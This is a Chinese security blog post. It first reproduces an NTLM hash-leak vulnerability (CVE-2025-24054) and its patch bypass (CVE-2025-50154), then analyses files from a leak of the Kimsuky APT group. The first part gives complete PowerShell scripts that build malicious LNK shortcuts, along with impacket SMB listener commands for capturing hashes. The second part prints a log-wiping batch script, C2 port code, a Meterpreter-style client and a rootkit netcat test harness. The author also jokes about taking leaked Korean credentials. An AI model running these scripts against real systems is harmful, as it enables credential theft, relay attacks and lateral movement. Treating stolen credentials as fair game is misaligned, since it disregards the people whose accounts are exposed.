哈哈哈，笔者也是上T00ls人物专访啦~ T00ls作为老牌安全社区，非常值得大家去交流学习，欢迎大家关注T00ls安全公众号！

1# 漏洞简介

该漏洞允许攻击者在没有任何用户交互的情况下提取 NTLM 哈希值，攻击者可以自动触发 NTLM 身份验证请求，从而实现离线破解或中继攻击以获得未经授权的访问。

NTLM 是 Microsoft 的一系列身份验证协议，用于确认用户身份和保护网络通信。它通过直接的客户端-服务器“质询/响应”过程工作，服务器发出质询，客户端证明其身份，而无需通过网络传输实际密码。

虽然 NTLMv2 受到保护，可以抵御彩虹表和传递哈希等预计算攻击，但捕获的哈希值仍然可以被利用。攻击者可能会尝试暴力破解它们离线或使用中继攻击，将窃取的哈希值传递给另一个服务以用户身份登录。如果被入侵的帐户具有提升的权限，这可能会很快导致权限升级和横向移动。

即使在 Microsoft 针对该问题进行补丁后，安全研究员也找到了一种绕过它并仍然获得 NTLM 哈希的方法，证明威胁并未完全消除，这就是CVE-2025-50154，而它之前的漏洞是CVE-2025-24054。

1.1 原文链接

https://cymulate.com/blog/zero-click-one-ntlm-microsoft-security-patch-bypass-cve-2025-50154/

2# 旧漏洞-CVE-2025-24054

2.1基础环境

• Kali Linux

• 未打补丁的Windows 10

2.2复现

Kali Linux启动impacket渗透组件，开启一个 SMB 服务器来侦听传入的 SMB 连接

impacket-smbserver share . -smb2support

• impacket-smbserver：为对应的impacket渗透组件

• share .：指将当前目录作为share共享

• smb2support：开启SMB服务支持

然后在受害机执行如下PowerShell脚本，新建一个PowerShell脚本文件1.ps1，写入如下内容（注意替换为自己的Kali Linux IP地址，此处我的Kali Linux IP地址为192.168.48.129）：

# lnk文件的地址，若要复现请替换为自己的地址$shortcutPath = "C:\Users\Divide\Desktop\lab.lnk"# 目标程序的路径$targetPath = "C:\Windows\System32\notepad.exe"# 指定快捷方式使用的图标文件（.ico）的位置为远程地址，此处为关键点，只有设置为远程地址，才能让他访问我们开启的SMB服务器$iconLocation = "\\192.168.48.129\share\icon.ico"# 创建一个 Windows Script Host Shell 对象（通过 COM 组件 WScript.Shell）。  # 这个对象提供了操作快捷方式、环境变量、执行程序等能力。  # 将该对象赋值给变量$wShell，后续通过它来创建和管理快捷方式。$wShell = New-Object -ComObject WScript.Shell# 如果该路径已存在快捷方式，则会覆盖；如果不存在，则创建一个新的快捷方式对象$shortcut = $wShell.CreateShortcut($shortcutPath)# 设置快捷方式的“目标”属性，即点击快捷方式时要启动的程序路径$shortcut.TargetPath = $targetPath# 这里使用的是远程网络路径中的 .ico 图标文件$shortcut.IconLocation = $iconLocation# 对快捷方式对象的修改保存到磁盘中$shortcut.Save()Write-Output "Shortcut created at: $shortcutPath"

将创建一个带有基于 SMB 的远程图标的 LNK（LNK就是快捷方式，带有一个图标）

运行它，通过查看资源管理器中的图标，我们将获得当前正在运行的用户打开 explorer.exe（资源管理器） 进程的 NTLMv2-SSP 哈希值。

若PowerShell执行报错，执行如下命令输入y即可执行我们编写的PowerShell脚本

set-ExecutionPolicy RemoteSignedy

当运行成功后，结果如下，成功获取到对应用户的hash值：

2.3对应补丁以及漏洞信息

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24054

2.3.1下载安装补丁

Win键+R键，输入winver查看对应的Windows版本

到网站下载补丁

点击即可下载

下载完直接放到对应机器双击安装即可

2.4 复测

打完补丁，之后再用上面这种方式无法拿到hash值了

3# Bypass-CVE-2025-50154

3.1 复现

前面的CVE-2025-24054打上对应补丁之后，通过下面的方式可以实现绕过补丁修复。 还是先启动kali中的SMB服务：

impacket-smbserver share . -smb2support

在前面的基础上只需要修改一下PowerShell生成LNK文件的方式即可 更改脚本，使图标成为默认图标 （shell32.dll），使可执行值成为可以检索到的远程文件路径。

# 文件创建$shortcutPath = "C:\Users\Administrator\Desktop\1\lab.lnk"# 这个exe可以不用存在，只要把kali的SMB服务启动即可，同时这个地址必须是远程kali地址$targetPath = "\\192.168.48.129\share\calc.exe"# 修改图标为本地白名单来绕过$iconLocation = "C:\Windows\System32\SHELL32.dll"$wShell = New-Object -ComObject WScript.Shell$shortcut = $wShell.CreateShortcut($shortcutPath)$shortcut.TargetPath = $targetPath$shortcut.IconLocation = $iconLocation$shortcut.Save()Write-Output "Shortcut created at: $shortcutPath"

运行PowerShell脚本：

Kali Linux开启的SMB服务接收到Hash值：

3.2 对应补丁以及漏洞信息

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-50154

安装方式和旧漏洞的方式一致：

查看是否安装上补丁：

systeminfo

我是N0va7，我在渊龙Sec安全团队等你微信公众号：渊龙Sec安全团队欢迎关注我，一起学习，一起进步~本篇文章为团队成员原创文章，请不要擅自盗取！

事件

朝鲜黑客组织Kimsuky APT一名成员遭遇重大数据泄露，泄露了一些内部文件和工具。

入侵大概发生在2025年6月初，此次泄露暴露了该组织后门、网络钓鱼框架和侦察行动。

公网泄露链接为：

https[:]//data[.]ddosecrets[.]com/APT%20Down%20-%20The%20North%20Korea%20Files/

分析

我这里简要下载了 zip 目录下的 work.zip 压缩包，所以仅分析里面的比较好玩的文件。

路径：

• \work\work\home\user\Desktop

test.py:

使用第三方库 xtermgui 来创建一个终端图形用户界面。

xtermgui 这个库允许开发者在纯文本的终端（命令行窗口）中，创建出具有图层、颜色和精确定位等特性的、更丰富的交互界面。

from xtermgui import Colour, RGBs, LayeredGUI, CoordinateColour.configure_default_background(RGBs.DEFAULT_BACKGROUND_WSL.value)classMyGUI(LayeredGUI):def__init__(self) -> None:        super().__init__()  # self.base_layer is created automatically        self.second_layer = self.add_layer("Layer Name", z=1)  # z-index is the same as that of the existing layer with the greatest z-index by defaultdefmain() -> None:    gui = MyGUI()    text_base_layer = "This text will be printed in the console, on the base layer."    text_1_second_layer = "This text will be printed in the console, on the second layer."    text_2_second_layer = "This text will also be printed in the console, on the second layer."    coordinates = Coordinate(10, 5)with gui.start():        gui.print(text_base_layer, at=coordinates)  # Prints on the active layer by default - this is initially the base layer        gui.print(text_1_second_layer, at=coordinates, layer=gui.second_layer)  # Prints over the text on the base layerwith gui.as_active(gui.second_layer):  # Second layer is set as active within this scope only            gui.print(text_2_second_layer, at=coordinates)  # Overwrites the existing text        gui.clear(layer=gui.second_layer)  # Only the content printed to the base layer now showsif __name__ == "__main__":    main()

运行结果：

clean.bat:

通过一系列的 del (删除文件) 和 rd (删除目录) 命令，试图移除Windows更新的卸载备份、临时文件、日志、预取文件、Cookies以及最近访问的文档记录等。

@echo off color 0bRD %windir%\$hf_mig$ /Q /S dir %windir%\$NtUninstall/a:d /b >%windir%\Patches.txt for /f %%i in (%windir%\Patches.txt) do rd %windir%\%%i /s /q del %windir%\Patches.txt /f /q rd /s /q %windir%\SoftwareDistribution\Download & md %windir\SoftwareDistribution\Downloaddel %windir%\*.log /f /q del /f /s /q %windir%\*.bak del /f /s /q %windir%\prefetch\*.* rd /s /q %windir%\temp & md %windir%\tempdel /f /q %userprofile%\AppData\Roaming\Microsoft\Windows\Cookies\*.*del /f /s /q "%userprofile%\AppData\Local\Microsoft\Windows\Temporary Internet Files\*.*"del /f /s /q "%userprofile%\AppData\Roaming\Microsoft\Windows\Recent\*.*"del /f /s /q %userprofile%\appdata\roaming\microsoft\windows\recent\*.*del /f /s /q "%userprofile%\appdata\local\temp\*.*"rd /s /q %userprofile%\AppData\Local\Temp\vmware-host\VMwareDnD &md %userprofile%\AppData\Local\Temp\vmware-host\VMwareDnDrd  /s /q  windir

这里我简单加了个注释方便理解：

@echo off :: 关闭命令回显，让窗口输出更干净color 0b:: 设置窗口颜色为黑底亮水绿色，美化界面RD %windir%\$hf_mig$ /Q /S :: 删除旧版Windows的热修复补丁迁移文件夹dir %windir%\$NtUninstall/a:d /b >%windir%\Patches.txt :: 将所有更新卸载文件夹的名称列表输出到临时文件for /f %%i in (%windir%\Patches.txt) do rd %windir%\%%i /s /q :: 逐个删除列表中的所有更新卸载文件夹del %windir%\Patches.txt /f /q :: 删除刚才创建的临时文件rd /s /q %windir%\SoftwareDistribution\Download & md %windir%\SoftwareDistribution\Download:: 清空Windows Update的下载缓存目录，然后重建空目录del %windir%\*.log /f /q :: 删除C:\Windows目录下的所有日志文件 (*.log)del /f /s /q %windir%\*.bak :: 递归删除C:\Windows及其子目录下的所有备份文件 (*.bak)del /f /s /q %windir%\prefetch\*.* :: 清空预取文件夹，清除程序启动痕迹rd /s /q %windir%\temp & md %windir%\temp:: 清空系统临时文件夹，然后重建空目录del /f /q %userprofile%\AppData\Roaming\Microsoft\Windows\Cookies\*.*:: 删除IE浏览器的Cookiesdel /f /s /q "%userprofile%\AppData\Local\Microsoft\Windows\Temporary Internet Files\*.*":: 删除IE浏览器的缓存文件del /f /s /q "%userprofile%\AppData\Roaming\Microsoft\Windows\Recent\*.*":: 删除“最近使用的项目”记录del /f /s /q %userprofile%\appdata\roaming\microsoft\windows\recent\*.*:: 再次删除“最近使用的项目”记录del /f /s /q "%userprofile%\appdata\local\temp\*.*":: 清空用户个人临时文件夹rd /s /q %userprofile%\AppData\Local\Temp\vmware-host\VMwareDnD &md %userprofile%\AppData\Local\Temp\vmware-host\VMwareDnD:: 清理VMware虚拟机拖放功能的临时文件rd  /s /q  windir:: 尝试删除当前目录下名为 "windir" 的文件夹 (这是一个语法错误，本意可能是想删除 %windir%)

fofa.txt:

保存的fofa搜索语句：

title="User portal" && country="JP" && icon_hash="1601194732"

不过账号已经无效了

proxy_test.py：

• 获取当前用户的Internet Explorer代理设置。这包括自动检测设置、PAC脚本URL和手动设置的代理服务器。

• 解析这些设置，找出对于一个给定的目标URL（例如http://www.google.com），系统最终会使用哪个代理服务器。

• 测试找到的代理服务器，验证它们是否真的可以正常工作。

import ctypesimport ctypes.wintypesimport sysclassWINHTTP_CURRENT_USER_IE_PROXY_CONFIG(ctypes.Structure):    _fields_ = [("fAutoDetect", ctypes.wintypes.BOOL),                ("lpszAutoConfigUrl", ctypes.wintypes.LPWSTR),                ("lpszProxy", ctypes.wintypes.LPWSTR),                ("lpszProxyBypass", ctypes.wintypes.LPWSTR)]classWINHTTP_AUTOPROXY_OPTIONS(ctypes.Structure):    _fields_ = [("dwFlags", ctypes.wintypes.DWORD),                ("dwAutoDetectFlags", ctypes.wintypes.DWORD),                ("lpszAutoConfigUrl", ctypes.wintypes.LPCWSTR),                ("lpvReserved", ctypes.c_void_p),                ("dwReserved", ctypes.wintypes.DWORD),                ("fAutoLogonIfChallenged", ctypes.wintypes.BOOL)]classWINHTTP_PROXY_INFO(ctypes.Structure):    _fields_ = [("dwAccessType", ctypes.wintypes.DWORD),                ("lpszProxy", ctypes.wintypes.LPCWSTR),                ("lpszProxyBypass", ctypes.wintypes.LPCWSTR)]WINHTTP_USER_AGENT = ctypes.c_wchar_p('Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko')WINHTTP_ACCESS_TYPE_DEFAULT_PROXY = 0WINHTTP_ACCESS_TYPE_NO_PROXY = 1WINHTTP_ACCESS_TYPE_NAMED_PROXY = 3WINHTTP_NO_PROXY_NAME = 0WINHTTP_NO_PROXY_BYPASS = 0defShowLastError(message, alignment = 0):    error_id = ctypes.GetLastError()print' ' * alignment + '[-] Error on %s: %s' % (message, error_id)if error_id == 12167:        title = 'ERROR_WINHTTP_UNABLE_TO_DOWNLOAD_SCRIPT'        message = 'The PAC file cannot be downloaded. For example, the server referenced by the PAC URL may not have been reachable, or the server returned a 404 NOT FOUND response.'elif error_id == 12007:        title = 'ERROR_WINHTTP_NAME_NOT_RESOLVED'        message = 'The server name cannot be resolved.'elif error_id == 12029:        title = 'ERROR_WINHTTP_CANNOT_CONNECT'        message = 'Returned if connection to the server failed.'elif error_id == 12002:        title = 'ERROR_WINHTTP_TIMEOUT'        message = 'The request has timed out.'elif error_id == 12180:        title = 'ERROR_WINHTTP_AUTODETECTION_FAILED'        message = 'Returned by WinHttpDetectAutoProxyConfigUrl if WinHTTP was unable to discover the URL of the Proxy Auto-Configuration (PAC) file.'else:        title = 'UNKNOWN'        message = 'unknown'    msg_max_len = 70    msg_list = [message[i:i+msg_max_len] for i in range(0, len(message), msg_max_len)]print' ' * alignment + '    => %s' % titlefor msg in msg_list:print' ' * alignment + '       %s' % msgdefGetCurrentProxies():    pProxyConfig = WINHTTP_CURRENT_USER_IE_PROXY_CONFIG()    result = ctypes.windll.winhttp.WinHttpGetIEProxyConfigForCurrentUser(ctypes.byref(pProxyConfig))if result == False:        ShowLastError('WinHttpGetIEProxyConfigForCurrentUser')returnFalse, NonereturnTrue, pProxyConfigdefGetProxyInfoList(pProxyConfig, target_url):print'n[*] Checking proxy configuration alternatives...'    proxy_list = []    hSession = ctypes.windll.winhttp.WinHttpOpen(WINHTTP_USER_AGENT,  WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0)if hSession isNone:        ShowLastError('WinHttpOpen')        sys.exit()    WINHTTP_AUTOPROXY_AUTO_DETECT = 0x00000001    WINHTTP_AUTO_DETECT_TYPE_DHCP = 0x00000001    WINHTTP_AUTO_DETECT_TYPE_DNS_A = 0x00000002    WINHTTP_AUTOPROXY_CONFIG_URL = 0x00000002if pProxyConfig.fAutoDetect:print'n  (1) Automatically detect settings (enabled)'print'      [*] Trying to get the proxy using the conventional method...'        pAutoProxyOptions = WINHTTP_AUTOPROXY_OPTIONS()        pProxyInfo = WINHTTP_PROXY_INFO()        pAutoProxyOptions.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT        pAutoProxyOptions.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A        pAutoProxyOptions.lpszAutoConfigUrl = 0        lpcwszUrl = ctypes.wintypes.LPCWSTR(target_url)        result = ctypes.windll.winhttp.WinHttpGetProxyForUrl(hSession, lpcwszUrl, ctypes.byref(pAutoProxyOptions), ctypes.byref(pProxyInfo))if result == False:            ShowLastError('WinHttpGetProxyForUrl', 6)print'n      [*] Trying to get the proxy using the AutoConfigURL...'            dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A            ppwszAutoConfigUrl = ctypes.wintypes.LPWSTR()            result = ctypes.windll.winhttp.WinHttpDetectAutoProxyConfigUrl(dwAutoDetectFlags, ctypes.byref(ppwszAutoConfigUrl))if result == False:                ShowLastError('WinHttpDetectAutoProxyConfigUrl', 10)else:print'      [+] Trying to get the proxy from the obtained URL (%s)' % ppwszAutoConfigUrl.value                pAutoProxyOptions.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL                pAutoProxyOptions.dwAutoDetectFlags = 0                pAutoProxyOptions.fAutoLogonIfChallenged = True                pAutoProxyOptions.lpszAutoConfigUrl = ppwszAutoConfigUrl                result = ctypes.windll.winhttp.WinHttpGetProxyForUrl(hSession, lpcwszUrl, ctypes.byref(pAutoProxyOptions), ctypes.byref(pProxyInfo))if result:print'      [+] Proxy: %s' % (pProxyInfo.lpszProxy)                    proxy_list.append(pProxyInfo)else:                    ShowLastError('WinHttpGetProxyForUrl', 10)else:print'      [+] Proxy: %s' % (pProxyInfo.lpszProxy)            proxy_list.append(pProxyInfo)if pProxyConfig.lpszAutoConfigUrl:print'n  (2) Use automatic configuration script (%s)' % pProxyConfig.lpszAutoConfigUrl        pAutoProxyOptions = WINHTTP_AUTOPROXY_OPTIONS()        pProxyInfo = WINHTTP_PROXY_INFO()        pAutoProxyOptions.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL        pAutoProxyOptions.dwAutoDetectFlags = 0        pAutoProxyOptions.fAutoLogonIfChallenged = True        pAutoProxyOptions.lpszAutoConfigUrl = pProxyConfig.lpszAutoConfigUrl        lpcwszUrl = ctypes.wintypes.LPCWSTR(target_url)        result = ctypes.windll.winhttp.WinHttpGetProxyForUrl(hSession, lpcwszUrl, ctypes.byref(pAutoProxyOptions), ctypes.byref(pProxyInfo))if result == False:            ShowLastError('WinHttpGetProxyForUrl', 6)else:print'      [+] Proxy: %s' % (pProxyInfo.lpszProxy)            proxy_list.append(pProxyInfo)if pProxyConfig.lpszProxy:print'n  (3) Use a proxy server for your LAN'        pProxyInfo = WINHTTP_PROXY_INFO()        WINHTTP_ACCESS_TYPE_NAMED_PROXY = 3        pProxyInfo.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY        pProxyInfo.lpszProxy = pProxyConfig.lpszProxy        pProxyInfo.lpszProxyBypass = pProxyConfig.lpszProxyBypassprint'      [+] Proxy: %s' % pProxyConfig.lpszProxyprint'      [+] Proxy Bypass: %s' % pProxyConfig.lpszProxyBypass        proxy_list.append(pProxyInfo)    ctypes.windll.winhttp.WinHttpCloseHandle(hSession)return proxy_listdefCheckProxyStatus(proxyInfo, target_server, target_port):    hSession = ctypes.windll.winhttp.WinHttpOpen(WINHTTP_USER_AGENT,  WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0)if hSession isNone:        ShowLastError('WinHttpOpen')return    server_name = ctypes.c_wchar_p(target_server)    INTERNET_DEFAULT_HTTP_PORT = target_port    hInternet = ctypes.windll.winhttp.WinHttpConnect(hSession, server_name, INTERNET_DEFAULT_HTTP_PORT, 0)if hInternet isNone:        ShowLastError('WinHttpConnect', 8)returnFalse    WINHTTP_FLAG_BYPASS_PROXY_CACHE = 0x00000100    WINHTTP_FLAG_SECURE = 0x00800000    dwFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE    pwszVerb = ctypes.c_wchar_p('GET')    pwszObjectName = ctypes.c_wchar_p('')    hRequest = ctypes.windll.winhttp.WinHttpOpenRequest(hInternet, pwszVerb, pwszObjectName, 0, 0, 0, dwFlags)if hRequest isNone:        ShowLastError('WinHttpOpenRequest', 8)returnFalse    WINHTTP_OPTION_PROXY = 38    result = ctypes.windll.winhttp.WinHttpSetOption(hRequest, WINHTTP_OPTION_PROXY, ctypes.byref(proxyInfo), ctypes.sizeof(proxyInfo))if result == False:        ShowLastError('WinHttpSetOption', 8)returnFalse    WINHTTP_NO_ADDITIONAL_HEADERS = 0    WINHTTP_NO_REQUEST_DATA = 0    result = ctypes.windll.winhttp.WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0)if result == False:        ShowLastError('WinHttpSendRequest', 8)returnFalseelse:        WINHTTP_QUERY_STATUS_CODE = 19        WINHTTP_QUERY_STATUS_TEXT = 20        WINHTTP_QUERY_RAW_HEADERS_CRLF = 22        WINHTTP_HEADER_NAME_BY_INDEX = 0        WINHTTP_NO_HEADER_INDEX = 0        dwInfoLevel = WINHTTP_QUERY_RAW_HEADERS_CRLF        lpdwBufferLength = ctypes.wintypes.DWORD()        lpdwIndex = ctypes.wintypes.DWORD()        result = ctypes.windll.winhttp.WinHttpReceiveResponse(hRequest, 0)if result:            result = ctypes.windll.winhttp.WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_RAW_HEADERS_CRLF,                                                               WINHTTP_HEADER_NAME_BY_INDEX, 0,                                                               ctypes.byref(lpdwBufferLength),                                                               WINHTTP_NO_HEADER_INDEX)            ERROR_INSUFFICIENT_BUFFER = 122if ctypes.GetLastError() == ERROR_INSUFFICIENT_BUFFER:                lpBuffer = ctypes.create_string_buffer(lpdwBufferLength.value)                result = ctypes.windll.winhttp.WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_RAW_HEADERS_CRLF,                                                                   WINHTTP_HEADER_NAME_BY_INDEX, ctypes.byref(lpBuffer),                                                                   ctypes.byref(lpdwBufferLength),                                                                   WINHTTP_NO_HEADER_INDEX)if result:                    line = lpBuffer.raw.replace('x00', '').split('n')[0]                    space_1 = line.find(' ')                    space_2 = line.find(' ', space_1+1)                    code = line[space_1:space_2].strip()                    text = line[space_2:].strip()print"t[*] HTTP Query Status Code / Text: nt    %s / %s" % (code, text)if code != "200":returnFalseelse:returnTrue    ctypes.windll.winhttp.WinHttpCloseHandle(hRequest)    ctypes.windll.winhttp.WinHttpCloseHandle(hInternet)    ctypes.windll.winhttp.WinHttpCloseHandle(hSession)returnTruedefmain():    result, pProxyConfig = GetCurrentProxies()if result == False:        sys.exit()print'n[*] We got the proxy configuration.'if pProxyConfig isNone:print'[*] No proxy setting found for the current user.'        sys.exit()    target_server = 'www.google.com'    target_url = 'http://' + target_server    target_port = 80    proxy_list = GetProxyInfoList(pProxyConfig, target_url)print'n[*] Number of proxies: %s' % str(len(proxy_list))print'n[*] Testing if proxy servers actually work...'for proxy in proxy_list:print'n    [*] Proxy "%s" ... ' % proxy.lpszProxy        result = CheckProxyStatus(proxy, target_server, target_port)if result:print'        [+] Works! :)'else:print'        [-] Does not work :('if __name__ == '__main__':    main()

sofo.txt:

Sophos Central的demo用户名和密码文件。。

checksum8.c:

这段代码是一个用于隐蔽通信的端口生成和验证工具的客户端部分。

用途:

• 恶意软件C2通信: 一个木马或后门程序可以在受害者机器上运行generate_port，计算出当天或当次会话应该连接哪个端口，然后向该端口发起连接。

• 服务器端验证: C2服务器在所有端口上监听，但只对连接到“合法”端口（即校验和匹配的端口）的请求做出响应，而忽略所有其他端口的连接，从而增加了隐蔽性。

#include<stdio.h>#include<stdlib.h>#include<string.h>char** wrap(char* s, int w){int len = strlen(s);int num_substrings = len / w + (len % w != 0);char** substrings = malloc(num_substrings * sizeof(char*));for (int i = 0; i < num_substrings; i++) {        substrings[i] = malloc((w + 1) * sizeof(char));strncpy(substrings[i], s + i * w, w);        substrings[i][w] = '\0';    }return substrings;}int _sum_data(char* data) {int sum_ = 0;char** substrings = wrap(data, 2);for (int i = 0; i < strlen(data) / 2 + (strlen(data) % 2 != 0); i++) {        sum_ += strtol(substrings[i], NULL, 16);    }for (int i = 0; i < strlen(data) / 2 + (strlen(data) % 2 != 0); i++) {free(substrings[i]);    }free(substrings);return sum_;}char* compute_checksum8_mod256(char* data){int sum = _sum_data(data);printf("sum %d\n", sum);char* checksum = malloc(3 * sizeof(char));sprintf(checksum, "%02X", sum % 256);return checksum;}int* generate_port(char* check_sum, int min, int max, int* num_ports){int* ports = malloc((max - min + 1) * sizeof(int));int index = 0;for (int i = min; i <= max; i++) {char str[6];sprintf(str, "%d", i);char* sum = compute_checksum8_mod256(str);if (strcmp(sum, check_sum) == 0) {            ports[index] = i;            index++;        }free(sum);    }    *num_ports = index;return ports;}intchecksum8(char* data, int size){int check = 0;for (int i = 0; i < size; i++) {        check += data[i];    }return check & 0xFF;}intmain(){char str[6];sprintf(str, "%d", 6357);//printf("%s\n",str );int  sum = checksum8(str,4);printf("sum   %d\n",sum);// int num_ports;// int* ports = generate_port("88", 10000, 30000, &num_ports);// for (int i = 0; i < num_ports; i++) {//     printf("%d ", ports[i]);// }// free(ports);return0;}

路径

• \work\work\home\user\Desktop\desktop\mettle

client.py：

从代码中的命名（如PacketDispatcher, ChannelContainer, init_meterpreter）和结构来看，它极有可能是在模仿 Metasploit 框架 中的 Meterpreter 客户端。

from attrdict import AttrDictfrom channel_container import ChannelContainerfrom packet_dispatcher import PacketDispatcherclassClient(PacketDispatcher, ChannelContainer):def__init__(self):        super(Client, self).__init__(self)        self.aliases = {}        self.commands = []        self.sock = None# self.dict - self# self.sock = None# TODO how to fix it# from extensions.stdapi.fs.dir import Dir# self.register_extension_alias("fs", Dir())# self.sock = sock# print("socksock" + sock)# self.init_meterpreter(sock, opts)    @staticmethoddefregister_extension_alias(name, ext):# if isinstance(ext, dict) is True:# 	for k in ext:# 		setattr(Client, name, ext[k])# else:        setattr(Client, name, ext)defregister_extension_aliases(self, aliases):for alias in aliases:            alias = AttrDict(alias)            self.register_extension_alias(alias.name, alias.ext)definit_meterpreter(self, sock, opts={}):# print("rstream:" + str(sock))        self.sock = sockif"passive_dispatcher"in opts:passelse:from client_core import ClientCore            self.register_extension_alias("core", ClientCore(self))# Register the channel inbound packet handlerfrom channel import Channel            self.register_inbound_handler(Channel)            self.monitor_socket()#### Extension registration##### Loads the client half of the supplied extension and initializes it as a# registered extension that can be reached through client.ext.[extension].#defadd_extension(self, name, commands=[]):# self.commands |= commands# print("name:" + name)import importlib# from .extensions# from lib.rex.post.meterpreter.extensions.stdapi import# TODO 不要写死extensions localtion# from importlib.machinery import SourceFileLoader# import os# print(os.path.realpath(__file__))# current_path = os.path.split(os.path.realpath(__file__))[0]# extensions_path = os.path.join(current_path, 'extensions')# module_path = os.path.join(extensions_path, name)## klass = SourceFileLoader(name, os.path.join(module_path, "__init__.py")).load_module()# print(klass)        mod = importlib.import_module('lib.rex.post.meterpreter.extensions.' + name)# mod = importlib.import_module(".extensions." + name)        getattr(mod, name.title())(self)# from extensions.stdapi.fs.dir import Dir# self.register_extension_alias("fs", mod)

ps:就是原始代码样式，顶尖cx黑客会点中文很正常

路径

• \work\work\home\user\Desktop\desktop\uni_certs

存储了一堆证书文件

路径

• \work\work\home\user\Desktop\tomcat20220420_rootkit\tomcat20220420_rootkit

看路径，知功能

其中的自动化执行脚本一眼丁真

路径

• \work\work\home\user\Desktop\0128\0128

一眼构建好的payload，看见就跟回老家似的一样熟悉

路径

• \work\work\home\user\Desktop\backdoor\20220812

Linux后门

linux-inject-master明显是这个工具：

https://github.com/gaffe23/linux-inject/

路径

• \work\work\home\user\Desktop\backdoor\20230201

Linux后门

严禁不合规的使用，严禁对外传播。

偷了！

路径

• \work\work\home\user\Downloads\toybox\third_party_toybox

明显是 https://landley.net/toybox/ 开源代码

简单来说，Toybox 是一个集成了众多标 Linux 命令行工具（如 ls, cat, ps, grep 等）于一体的、轻量级的、遵循许可证规范的单一可执行文件。

暂时不知道他们用来干嘛。

路径

• C:\Users\Administrator\Desktop\work\work\home\user\Downloads\cert

原本一眼是下载的证书目录，结果还有专属的韩国凭据啥的，拿了😋

路径

• \work\work\home\user\KoviD\test\Artefacts

这里有个 qemu-runner.sh 脚本需要注意。

这段脚本是一个高度自动化的测试框架，专门用于测试一个名为 kovid.ko 的Linux内核模块。

其中，核心后门测试代码为：

execute_backdoor_test() {local GUEST_TEST_SCRIPT=$1local HOST_TEST_SCRIPT=$2local TEST_LOG_GUEST="$(basename "${GUEST_TEST_SCRIPT%.sh}.log")"local TEST_LOG_HOST="$(basename "${HOST_TEST_SCRIPT%.sh}.log")"# Create a writable copy of the root filesystem    TEMP_ROOTFS="/tmp/rootfs_writable_$(basename "$ROOT_FS")"    cp "${ROOT_FS}""${TEMP_ROOTFS}"echo"Starting QEMU in background for backdoor test: $(basename "$GUEST_TEST_SCRIPT")"# Launch QEMU in the background and redirect output to the build directory    qemu-system-x86_64 \        -kernel "$KERNEL_IMAGE" \        -append "root=/dev/sda rw console=ttyS0,115200 init=/sbin/init" \        -drive format=raw,file="$TEMP_ROOTFS" \        -device e1000,netdev=net0 \        -netdev user,id=net0,hostfwd=tcp::${SSH_PORT}-:22,hostfwd=tcp::9999-:9999 \$QEMU_FLAGS > "${CMAKE_BINARY_DIR}/qemu_output_$(basename "$GUEST_TEST_SCRIPT").log" 2>&1 &local QEMU_PID=$!# Wait for SSH to become availableecho"Waiting for SSH to be ready for backdoor test: $(basename "$GUEST_TEST_SCRIPT")..."for i in {1..30}; doif ssh -i "$SSH_KEY" -o BatchMode=yes -o ConnectTimeout=5 -p "${SSH_PORT}" root@localhost 'echo SSH is ready' >/dev/null 2>&1; thenecho"SSH connection established for backdoor test: $(basename "$GUEST_TEST_SCRIPT")."breakfiecho"SSH not ready, retrying in 3 seconds... (Attempt $i/30)"        sleep 3done# Final check if SSH is still not availableif ! ssh -i "$SSH_KEY" -o BatchMode=yes -o ConnectTimeout=5 -p "${SSH_PORT}" root@localhost 'echo SSH is ready' >/dev/null 2>&1; thenecho"Failed to establish SSH connection to QEMU for backdoor test: $(basename "$GUEST_TEST_SCRIPT"). Exiting..."kill -SIGTERM "$QEMU_PID" 2>/dev/null || true        rm -f "$TEMP_ROOTFS"exit 1fi# Copy Netcat and its libraries to the guestecho"Copying Netcat and its libraries to QEMU..."    scp -i "$SSH_KEY" -o StrictHostKeyChecking=no -P "${SSH_PORT}" /bin/nc.openbsd root@localhost:"/bin/nc" || {echo"Failed to copy Netcat to QEMU."kill -SIGTERM "$QEMU_PID" 2>/dev/null || true        rm -f "$TEMP_ROOTFS"exit 1    }    scp -i "$SSH_KEY" -o StrictHostKeyChecking=no -P "${SSH_PORT}" /lib/x86_64-linux-gnu/libbsd.so.0 root@localhost:"/lib/libbsd.so.0" || {echo"Failed to copy libbsd.so.0 to QEMU."kill -SIGTERM "$QEMU_PID" 2>/dev/null || true        rm -f "$TEMP_ROOTFS"exit 1    }    scp -i "$SSH_KEY" -o StrictHostKeyChecking=no -P "${SSH_PORT}" /lib/x86_64-linux-gnu/libmd.so.0 root@localhost:"/lib/libmd.so.0" || {echo"Failed to copy libmd.so.0 to QEMU."kill -SIGTERM "$QEMU_PID" 2>/dev/null || true        rm -f "$TEMP_ROOTFS"exit 1    }# Transfer and execute the guest backdoor test scriptecho"Transferring and executing guest backdoor test script: $(basename "$GUEST_TEST_SCRIPT") on QEMU..."    scp -i "$SSH_KEY" -o StrictHostKeyChecking=no -P "${SSH_PORT}""$GUEST_TEST_SCRIPT" root@localhost:"$RFS_PATH/$(basename "$GUEST_TEST_SCRIPT")" || {echo"Failed to transfer guest backdoor test script: $(basename "$GUEST_TEST_SCRIPT") to QEMU."kill -SIGTERM "$QEMU_PID" 2>/dev/null || true        rm -f "$TEMP_ROOTFS"exit 1    }# Execute the guest backdoor test script in the background on QEMU    ssh -i "$SSH_KEY" -o StrictHostKeyChecking=no -p "${SSH_PORT}" root@localhost "nohup sh -c 'chmod +x $RFS_PATH/$(basename 